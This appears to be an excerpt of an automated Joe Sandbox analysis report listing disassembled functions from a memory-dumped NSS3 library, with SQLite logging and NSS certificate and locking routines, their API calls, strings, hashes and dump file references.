API String ID: 2948422844-1374795319
Opcode ID: 19b9784a439cff6cd6ec96c6a9a63fa9f1572de430dbd8ab513731f8378ecc04
Instruction ID: 6a9dc0a2504ef326bb03cad6cbee7b7420c8cae704a57b0deaad5a00bf9fe53a
Opcode Fuzzy Hash: 19b9784a439cff6cd6ec96c6a9a63fa9f1572de430dbd8ab513731f8378ecc04
Instruction Fuzzy Hash: 9A01ADB9A10104ABDF11AFA4EC85AAB3B3CEF4A364B404025FD0987701D672E95087B2

Function 6CF51C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=l,?,?,6CE54E1D), ref: 6CF51C8A
sqlite3_free.NSS3(00000000), ref: 6CF51CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6CF51C85
a CHECK constraint, xrefs: 6CF51C76, 6CF51C81
a generated column, xrefs: 6CF51C6C
an index, xrefs: 6CF51C67
w=l, xrefs: 6CF51C44

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=l
API String ID: 1840970956-366597085
Opcode ID: 6a047798e2348c3729944949bad6c90a7424fb3bf8ecb6fe2af4337d97f455d8
Instruction ID: 35aa9028b17fbb1b14424588fca40bdd84e275456e10369f3edc584c98de18b9
Opcode Fuzzy Hash: 6a047798e2348c3729944949bad6c90a7424fb3bf8ecb6fe2af4337d97f455d8
Instruction Fuzzy Hash: A001F7B1A001405BEB04BF6CD402AB277E5EF8634CF56487DED459BB12EB22E866C751

Function 6CF34D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF34DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF34DE0

Strings

misuse, xrefs: 6CF34DD5
%s at line %d of [%.10s], xrefs: 6CF34DDA
invalid, xrefs: 6CF34DB8
API call with %s database connection pointer, xrefs: 6CF34DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF34DCB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 64283a0011f8086807d17666c5084cc34ed658ce45c871578db7c6a5de52da62
Instruction ID: 531e52367939defa03d7973f2b823d57ca56008f7f80b3c91069cf2650c16f62
Opcode Fuzzy Hash: 64283a0011f8086807d17666c5084cc34ed658ce45c871578db7c6a5de52da62
Instruction Fuzzy Hash: 97F0B411E145747BEA025155DC10FC63F955F01319F5619A1ED0CABE52D2079D6082D1

Function 6CF34DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF34E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF34E4D

Strings

misuse, xrefs: 6CF34E42
%s at line %d of [%.10s], xrefs: 6CF34E47
invalid, xrefs: 6CF34E25
API call with %s database connection pointer, xrefs: 6CF34E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF34E38

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 2e0922c42e8bbe43fb9e12979f510d62245d9fc0cf101f7b12a8de02f5819a1a
Instruction ID: 0fc4891a5b1acf90e4e4134c3139ff5f6d6d4bc7db468c80ae8d746ea6d9f2bf
Opcode Fuzzy Hash: 2e0922c42e8bbe43fb9e12979f510d62245d9fc0cf101f7b12a8de02f5819a1a
Instruction Fuzzy Hash: 5FF02711F489383BFA101266DC10FC73F854B01329F1994B1EA0C77ED2D20B9DB042D1

Function 6CEA0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CEA1444,?,00000001,?,00000000,00000000,?,?,6CEA1444,?,?,00000000,?,?), ref: 6CEA0CB3

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEA1444,?,00000001,?,00000000,00000000,?,?,6CEA1444,?), ref: 6CEA0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CEA1444,?,00000001,?,00000000,00000000,?,?,6CEA1444,?), ref: 6CEA0DEC

Part of subcall function 6CEC0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE62AF5,?,?,?,?,?,6CE60A1B,00000000), ref: 6CEC0F1A
Part of subcall function 6CEC0F10: malloc.MOZGLUE(00000001), ref: 6CEC0F30
Part of subcall function 6CEC0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEC0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CEA1444,?,00000001,?,00000000,00000000,?), ref: 6CEA0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CEA1444,?,00000001,?,00000000), ref: 6CEA0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CEA1444,?,00000001,?,00000000,00000000,?), ref: 6CEA0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CEA1444,?,00000001,?,00000000,00000000,?,?,6CEA1444,?,?,00000000), ref: 6CEA0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CEA1444,?,00000001,?,00000000,00000000,?), ref: 6CEA0E79

Part of subcall function 6CEB1560: TlsGetValue.KERNEL32(00000000,?,6CE80844,?), ref: 6CEB157A
Part of subcall function 6CEB1560: EnterCriticalSection.KERNEL32(?,?,?,6CE80844,?), ref: 6CEB158F
Part of subcall function 6CEB1560: PR_Unlock.NSS3(?,?,?,?,6CE80844,?), ref: 6CEB15B2

Part of subcall function 6CE7B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE81397,00000000,?,6CE7CF93,5B5F5EC0,00000000,?,6CE81397,?), ref: 6CE7B1CB
Part of subcall function 6CE7B1A0: free.MOZGLUE(5B5F5EC0,?,6CE7CF93,5B5F5EC0,00000000,?,6CE81397,?), ref: 6CE7B1D2

Part of subcall function 6CE789E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE788AE,-00000008), ref: 6CE78A04
Part of subcall function 6CE789E0: EnterCriticalSection.KERNEL32(?), ref: 6CE78A15
Part of subcall function 6CE789E0: memset.VCRUNTIME140(6CE788AE,00000000,00000132), ref: 6CE78A27
Part of subcall function 6CE789E0: PR_Unlock.NSS3(?), ref: 6CE78A35

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 73842401a256e327eeb2d8e2da701021a5f5b773250cbe50b3c650ce209ba647
Instruction ID: c1243e25711a756d511a56ab18698b4febd9e89e8969b627629651744eddf953
Opcode Fuzzy Hash: 73842401a256e327eeb2d8e2da701021a5f5b773250cbe50b3c650ce209ba647
Instruction Fuzzy Hash: C251BBB6E012005FEB109FA4DC81ABB37B8DF4525CF254468EC1AAB712F731ED1586A2

Function 6CE56E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE56ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE56EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE56FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE56FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE56FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE57010
sqlite3_value_blob.NSS3(?,?), ref: 6CE5701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE57052

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 177421b42cf0dcd9f9a4db354be90368e21d1a2a0dd717e6f08a81d160894781
Instruction ID: e4a9c51d6ec5032635c0aa4e1fcd06bcac09bbbc986d248ebd5d15db08975b3d
Opcode Fuzzy Hash: 177421b42cf0dcd9f9a4db354be90368e21d1a2a0dd717e6f08a81d160894781
Instruction Fuzzy Hash: 4A61C2B1E142068BDB00CFA4D8017EFB7B6AF45308FB88169D414AB751E7379C26CBA0

Function 6CEC8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEC7313), ref: 6CEC8FBB

Part of subcall function 6CEC07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE68298,?,?,?,6CE5FCE5,?), ref: 6CEC07BF
Part of subcall function 6CEC07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEC07E6
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC081B
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEC7313), ref: 6CEC9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEC7313), ref: 6CEC903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEC7313), ref: 6CEC909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEC7313), ref: 6CEC90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEC7313), ref: 6CEC90F1

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEC7313), ref: 6CEC906B

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEC7313), ref: 6CEC9128

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 54f7a487c9131cefe61b02c8aec6a1be478c2eb6c8709d32725e1be44abb1dea
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 26517071B002018FEB109F6ADE46B26B3F5AF4531CF264129D935D7B61EB31E805CBA2

Function 6CE79C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE78850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE80715), ref: 6CE78859
Part of subcall function 6CE78850: PR_NewLock.NSS3 ref: 6CE78874
Part of subcall function 6CE78850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE7888D

PR_NewLock.NSS3 ref: 6CE79CAD

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507AD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507CD
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDE204A), ref: 6CE507D6
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDE204A), ref: 6CE507E4
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,6CDE204A), ref: 6CE50864
Part of subcall function 6CE507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE50880
Part of subcall function 6CE507A0: TlsSetValue.KERNEL32(00000000,?,?,6CDE204A), ref: 6CE508CB
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508D7
Part of subcall function 6CE507A0: TlsGetValue.KERNEL32(?,?,6CDE204A), ref: 6CE508FB

TlsGetValue.KERNEL32 ref: 6CE79CE8
EnterCriticalSection.KERNEL32(?,?,6CE7ECEC,6CE82FCD,00000000,?,6CE82FCD,?), ref: 6CE79D01
TlsGetValue.KERNEL32(?,?,?,6CE7ECEC,6CE82FCD,00000000,?,6CE82FCD,?), ref: 6CE79D38
EnterCriticalSection.KERNEL32(?,?,6CE7ECEC,6CE82FCD,00000000,?,6CE82FCD,?), ref: 6CE79D4D
PR_Unlock.NSS3 ref: 6CE79D70
PR_Unlock.NSS3 ref: 6CE79DC3
PR_NewLock.NSS3 ref: 6CE79DDD

Part of subcall function 6CE788D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE80725,00000000,00000058), ref: 6CE78906
Part of subcall function 6CE788D0: EnterCriticalSection.KERNEL32(?), ref: 6CE7891A
Part of subcall function 6CE788D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE7894A
Part of subcall function 6CE788D0: calloc.MOZGLUE(00000001,6CE8072D,00000000,00000000,00000000,?,6CE80725,00000000,00000058), ref: 6CE78959
Part of subcall function 6CE788D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE78993
Part of subcall function 6CE788D0: PR_Unlock.NSS3(?), ref: 6CE789AF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: d3487e8645c4e4e7cfbc492cf6e9f64e9c23a36e70198c761aae0bea5b8aa4da
Instruction ID: 50b2decb89fe712aae8a5e57e80ae93e0d5af6c6b37d8d291c7edbe92ca39e39
Opcode Fuzzy Hash: d3487e8645c4e4e7cfbc492cf6e9f64e9c23a36e70198c761aae0bea5b8aa4da
Instruction Fuzzy Hash: 5B5161B1A057058FDB20EF68C1846AEBBF0FF45359F25852DD9989B710EB70E844CBA1

Function 6CF79EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF79EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF79EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF79F73
EnterCriticalSection.KERNEL32(?), ref: 6CF79FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF79FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF79FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF7A01D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: aa3ab900dbb9c299950203052bb8f6fb6d597aedc2310046fa3e07574b7fd0c6
Instruction ID: 9dc7bfc0b934c3341b0c984c00a63bb140f73b01d89e45975138729de722e5e1
Opcode Fuzzy Hash: aa3ab900dbb9c299950203052bb8f6fb6d597aedc2310046fa3e07574b7fd0c6
Instruction Fuzzy Hash: E651B5B2800600CBDB20DF25E48478AB7F4FF04319F19856AD85957B16EB35F985CBE1

Function 6CEA88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEA88FC

Part of subcall function 6CEBBE30: SECOID_FindOID_Util.NSS3(6CE7311B,00000000,?,6CE7311B,?), ref: 6CEBBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEA8913

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CF8D864,?), ref: 6CEA8947

Part of subcall function 6CEBE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEBE245
Part of subcall function 6CEBE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CEBE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEA895B
DER_GetInteger_Util.NSS3(?), ref: 6CEA8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEA8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEA89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEA8A12

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 94e3336c5a0b85091b726b4b1d516e7472ebc1e1e8de9588af778e1f11717eed
Instruction ID: 953f1bdab127780b8cb8b506b8fbae5645639395c8565dbfa6e85ba94d9295a9
Opcode Fuzzy Hash: 94e3336c5a0b85091b726b4b1d516e7472ebc1e1e8de9588af778e1f11717eed
Instruction Fuzzy Hash: FF3146B2A046805BF73042A9AC417AA36B59F8132CF34173BD91DEBB91FB31C4478297

Function 6CE6DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE6DCFA

Part of subcall function 6CF29DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DC6
Part of subcall function 6CF29DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DD1
Part of subcall function 6CF29DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF29DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE6DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE6DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE6DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE6DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE6DD8F

Part of subcall function 6CE806A0: TlsGetValue.KERNEL32 ref: 6CE806C2
Part of subcall function 6CE806A0: EnterCriticalSection.KERNEL32(?), ref: 6CE806D6
Part of subcall function 6CE806A0: PR_Unlock.NSS3 ref: 6CE806EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE6DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE6DDB7

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 0aa81ee464067ce8d8a1694c3f807b03df0857364269f500e9aaa7d49ac346fe
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 5721C0BAE911155BDF01AF96DC409DE77B4AF0531CB740125E814A7B01E731EA058BE1

Function 6CF70860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CF77AE2,?,?,?,?,?,?,6CF7798A), ref: 6CF7086C

Part of subcall function 6CF70930: EnterCriticalSection.KERNEL32(?,00000000,?,6CF70C83), ref: 6CF7094F
